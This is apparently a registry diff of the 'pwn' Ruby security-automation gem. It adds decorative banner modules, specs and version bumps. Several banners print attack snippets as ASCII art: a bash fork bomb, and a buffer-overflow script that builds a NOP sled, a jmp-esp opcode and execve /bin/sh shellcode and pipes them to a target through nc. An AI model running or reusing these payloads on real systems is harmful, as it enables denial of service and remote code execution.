pwn 0.4.978 → 0.4.980

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 84f7477495ab484c4ed537d19f00d1351b9f757c77a8a479847f055bb8e4259b
4
- data.tar.gz: ca5f85d4e4912fb54225e3c882f29f72b713bca9a23433c7a1cdd7a4c3edc30f
3
+ metadata.gz: 89550e01a362634e37a007e848bd850735a05bd5a6dcebfcc69820a908ae0b85
4
+ data.tar.gz: 91e8218da188a4d6c36688fd42396e4d8d75190c07cfeb3f424aa3d3135b14eb
5
5
  SHA512:
6
- metadata.gz: f1bc5b77dec53f5ef4319c923135361d586e6b378d10b40a9cee29ea257e202303333d8611455b6116bc383eae06ee850a1b949db4fb29e158bb1516779089ef
7
- data.tar.gz: cdbd9c76d7d2cfbe17fdc309e357ad1afbad3eda83a03498fc51120e74cb3de1d964e232b1c1c82c312f0f2d8ed8d4f9a74999b2cae4c78b3b38e4505981eafb
6
+ metadata.gz: 342c40b4db0c6a4aec1468a360ce12b032a0471f66eab924340f35a214a8746df90378f60d8e38b7dde8a11545faef4410b123666a1a5f7e783c0172b415282d
7
+ data.tar.gz: c18cf34d7a9f97be6d877588a81bce355871ec412666707bcd628909ee472127609fb0d3ef8df11e914b31ebf10ef7d46ce0bf5d7d9a77e46ed071a72bad2817
data/README.md CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
37
37
  $ ./install.sh
38
38
  $ ./install.sh ruby-gem
39
39
  $ pwn
40
- pwn[v0.4.978]:001 >>> PWN.help
40
+ pwn[v0.4.980]:001 >>> PWN.help
41
41
  ```
42
42
 
43
43
  [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
52
52
  $ gem uninstall --all --executables pwn
53
53
  $ gem install --verbose pwn
54
54
  $ pwn
55
- pwn[v0.4.978]:001 >>> PWN.help
55
+ pwn[v0.4.980]:001 >>> PWN.help
56
56
  ```
57
57
 
58
58
  If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
62
62
  $ rvmsudo gem uninstall --all --executables pwn
63
63
  $ rvmsudo gem install --verbose pwn
64
64
  $ pwn
65
- pwn[v0.4.978]:001 >>> PWN.help
65
+ pwn[v0.4.980]:001 >>> PWN.help
66
66
  ```
67
67
 
68
68
  PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
@@ -0,0 +1,50 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module CodeCave
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::CodeCave.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ 00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
15
+ 00000010: 0200 0300 0100 0000 208e 0408 3400 0000 ........ ...4...
16
+ 00000020: ac00 0000 0000 0000 3400 2000 0100 2800 ........4. ...(.
17
+ 00000030: 0400 0300 0100 0000 0000 0000 0080 0408 ................
18
+ 00000040: 0080 0408 c000 0000 c000 0000 0500 0000 ................
19
+ 00000050: 0010 0000 0100 0000 0000 0000 0080 0408 ................
20
+ 00000060: 0000 0000 0000 0000 0000 0000 0600 0000 ................
21
+ 00000070: 7077 6e00 0000 0000 0000 0000 0000 0000 pwn.............
22
+ 00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
23
+ 00000090: 0000 0000 0000 0000 0000 0000 0000 0021 ...............!
24
+ 000000a0: b82a 0000 00b9 1d00 0000 baf4 0000 00ba ..*.............
25
+ 000000b0: 9a86 0408 e970 ffff ff31 c040 cd80 0000 ....p...1.@.....
26
+ '.light_black
27
+ rescue StandardError => e
28
+ raise e
29
+ end
30
+
31
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
32
+
33
+ public_class_method def self.authors
34
+ "AUTHOR(S):
35
+ 0day Inc. <request.pentest@0dayinc.com>
36
+ "
37
+ end
38
+
39
+ # Display Usage for this Module
40
+
41
+ public_class_method def self.help
42
+ puts "USAGE:
43
+ #{self}.get
44
+
45
+ #{self}.authors
46
+ "
47
+ end
48
+ end
49
+ end
50
+ end
@@ -0,0 +1,39 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module ForkBomb
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::ForkBomb.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ $ pwn() { pwn | pwn & }; pwn
15
+ '.blue
16
+ rescue StandardError => e
17
+ raise e
18
+ end
19
+
20
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
21
+
22
+ public_class_method def self.authors
23
+ "AUTHOR(S):
24
+ 0day Inc. <request.pentest@0dayinc.com>
25
+ "
26
+ end
27
+
28
+ # Display Usage for this Module
29
+
30
+ public_class_method def self.help
31
+ puts "USAGE:
32
+ #{self}.get
33
+
34
+ #{self}.authors
35
+ "
36
+ end
37
+ end
38
+ end
39
+ end
@@ -0,0 +1,44 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module JmpEsp
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::JmpEsp.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ #!/bin/bash
15
+ nop=$(printf \'\x90%.0s\' {1..1337})
16
+ asm_ops=\'\xff\xe4\'
17
+ payload=\'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\'
18
+ pwn="${nop}${asm_ops}${payload}"
19
+ echo -en $pwn | nc $TARGET $PORT
20
+ '.red
21
+ rescue StandardError => e
22
+ raise e
23
+ end
24
+
25
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
26
+
27
+ public_class_method def self.authors
28
+ "AUTHOR(S):
29
+ 0day Inc. <request.pentest@0dayinc.com>
30
+ "
31
+ end
32
+
33
+ # Display Usage for this Module
34
+
35
+ public_class_method def self.help
36
+ puts "USAGE:
37
+ #{self}.get
38
+
39
+ #{self}.authors
40
+ "
41
+ end
42
+ end
43
+ end
44
+ end
@@ -27,6 +27,7 @@ module PWN
27
27
  %%%+ *%%#
28
28
  .%%%. :%%%.
29
29
  =**+ +##=
30
+ \xe5\xbf\x8d\xe8\xa1\x93
30
31
  '.light_blue
31
32
  rescue StandardError => e
32
33
  raise e
@@ -0,0 +1,47 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module Radare2
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::Radare2.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ $ sudo r2 -d `pidof ${TARGET_BINARY}`
15
+ [0x7f000070776e]> aaaa
16
+ [0x7f000070776e]> ia ~..
17
+ [0x7f000070776e]> afl ~..
18
+ [0x7f000070776e]> db main
19
+ [0x7f000070776e]> db
20
+ [0x7f000070776e]> dc
21
+ [0x7f000070776e]> pdg
22
+ [0x7f000070776e]> v
23
+ '.yellow
24
+ rescue StandardError => e
25
+ raise e
26
+ end
27
+
28
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
29
+
30
+ public_class_method def self.authors
31
+ "AUTHOR(S):
32
+ 0day Inc. <request.pentest@0dayinc.com>
33
+ "
34
+ end
35
+
36
+ # Display Usage for this Module
37
+
38
+ public_class_method def self.help
39
+ puts "USAGE:
40
+ #{self}.get
41
+
42
+ #{self}.authors
43
+ "
44
+ end
45
+ end
46
+ end
47
+ end
data/lib/pwn/banner.rb CHANGED
@@ -8,12 +8,16 @@ module PWN
8
8
  autoload :Anon, 'pwn/banner/anon'
9
9
  autoload :Bubble, 'pwn/banner/bubble'
10
10
  autoload :Cheshire, 'pwn/banner/cheshire'
11
+ autoload :CodeCave, 'pwn/banner/code_cave'
11
12
  autoload :DontPanic, 'pwn/banner/dont_panic'
13
+ autoload :ForkBomb, 'pwn/banner/fork_bomb'
12
14
  autoload :FSociety, 'pwn/banner/f_society'
15
+ autoload :JmpEsp, 'pwn/banner/jmp_esp'
13
16
  autoload :Matrix, 'pwn/banner/matrix'
14
17
  autoload :Ninja, 'pwn/banner/ninja'
15
18
  autoload :OffTheAir, 'pwn/banner/off_the_air'
16
19
  autoload :Pirate, 'pwn/banner/pirate'
20
+ autoload :Radare2, 'pwn/banner/radare2'
17
21
  autoload :WhiteRabbit, 'pwn/banner/white_rabbit'
18
22
 
19
23
  # Supported Method Parameters::
@@ -23,7 +27,7 @@ module PWN
23
27
 
24
28
  public_class_method def self.get(opts = {})
25
29
  index = opts[:index].to_i
26
- index = Random.rand(1..10) unless index.positive?
30
+ index = Random.rand(1..14) unless index.positive?
27
31
 
28
32
  banner = ''
29
33
  case index
@@ -34,18 +38,26 @@ module PWN
34
38
  when 3
35
39
  banner = PWN::Banner::Cheshire.get
36
40
  when 4
37
- banner = PWN::Banner::DontPanic.get
41
+ banner = PWN::Banner::CodeCave.get
38
42
  when 5
39
- banner = PWN::Banner::FSociety.get
43
+ banner = PWN::Banner::DontPanic.get
40
44
  when 6
41
- banner = PWN::Banner::Matrix.get
45
+ banner = PWN::Banner::ForkBomb.get
42
46
  when 7
43
- banner = PWN::Banner::Ninja.get
47
+ banner = PWN::Banner::FSociety.get
44
48
  when 8
45
- banner = PWN::Banner::OffTheAir.get
49
+ banner = PWN::Banner::JmpEsp.get
46
50
  when 9
47
- banner = PWN::Banner::Pirate.get
51
+ banner = PWN::Banner::Matrix.get
48
52
  when 10
53
+ banner = PWN::Banner::Ninja.get
54
+ when 11
55
+ banner = PWN::Banner::OffTheAir.get
56
+ when 12
57
+ banner = PWN::Banner::Pirate.get
58
+ when 13
59
+ banner = PWN::Banner::Radare2.get
60
+ when 14
49
61
  banner = PWN::Banner::WhiteRabbit.get
50
62
  else
51
63
  raise 'Invalid Index.'
data/lib/pwn/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module PWN
4
- VERSION = '0.4.978'
4
+ VERSION = '0.4.980'
5
5
  end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::CodeCave do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::CodeCave
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::CodeCave
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::CodeCave
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::ForkBomb do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::ForkBomb
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::ForkBomb
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::ForkBomb
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::JmpEsp do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::JmpEsp
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::JmpEsp
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::JmpEsp
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::Radare2 do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::Radare2
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::Radare2
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::Radare2
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: pwn
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.978
4
+ version: 0.4.980
5
5
  platform: ruby
6
6
  authors:
7
7
  - 0day Inc.
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-01-20 00:00:00.000000000 Z
11
+ date: 2024-01-22 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: activesupport
@@ -1706,12 +1706,16 @@ files:
1706
1706
  - lib/pwn/banner/anon.rb
1707
1707
  - lib/pwn/banner/bubble.rb
1708
1708
  - lib/pwn/banner/cheshire.rb
1709
+ - lib/pwn/banner/code_cave.rb
1709
1710
  - lib/pwn/banner/dont_panic.rb
1710
1711
  - lib/pwn/banner/f_society.rb
1712
+ - lib/pwn/banner/fork_bomb.rb
1713
+ - lib/pwn/banner/jmp_esp.rb
1711
1714
  - lib/pwn/banner/matrix.rb
1712
1715
  - lib/pwn/banner/ninja.rb
1713
1716
  - lib/pwn/banner/off_the_air.rb
1714
1717
  - lib/pwn/banner/pirate.rb
1718
+ - lib/pwn/banner/radare2.rb
1715
1719
  - lib/pwn/banner/white_rabbit.rb
1716
1720
  - lib/pwn/ffi.rb
1717
1721
  - lib/pwn/plugins.rb
@@ -2026,12 +2030,16 @@ files:
2026
2030
  - spec/lib/pwn/banner/anon_spec.rb
2027
2031
  - spec/lib/pwn/banner/bubble_spec.rb
2028
2032
  - spec/lib/pwn/banner/cheshire_spec.rb
2033
+ - spec/lib/pwn/banner/code_cave_spec.rb
2029
2034
  - spec/lib/pwn/banner/dont_panic_spec.rb
2030
2035
  - spec/lib/pwn/banner/f_society_spec.rb
2036
+ - spec/lib/pwn/banner/fork_bomb_spec.rb
2037
+ - spec/lib/pwn/banner/jmp_esp_spec.rb
2031
2038
  - spec/lib/pwn/banner/matrix_spec.rb
2032
2039
  - spec/lib/pwn/banner/ninja_spec.rb
2033
2040
  - spec/lib/pwn/banner/off_the_air_spec.rb
2034
2041
  - spec/lib/pwn/banner/pirate_spec.rb
2042
+ - spec/lib/pwn/banner/radare2_spec.rb
2035
2043
  - spec/lib/pwn/banner/white_rabbit_spec.rb
2036
2044
  - spec/lib/pwn/banner_spec.rb
2037
2045
  - spec/lib/pwn/ffi_spec.rb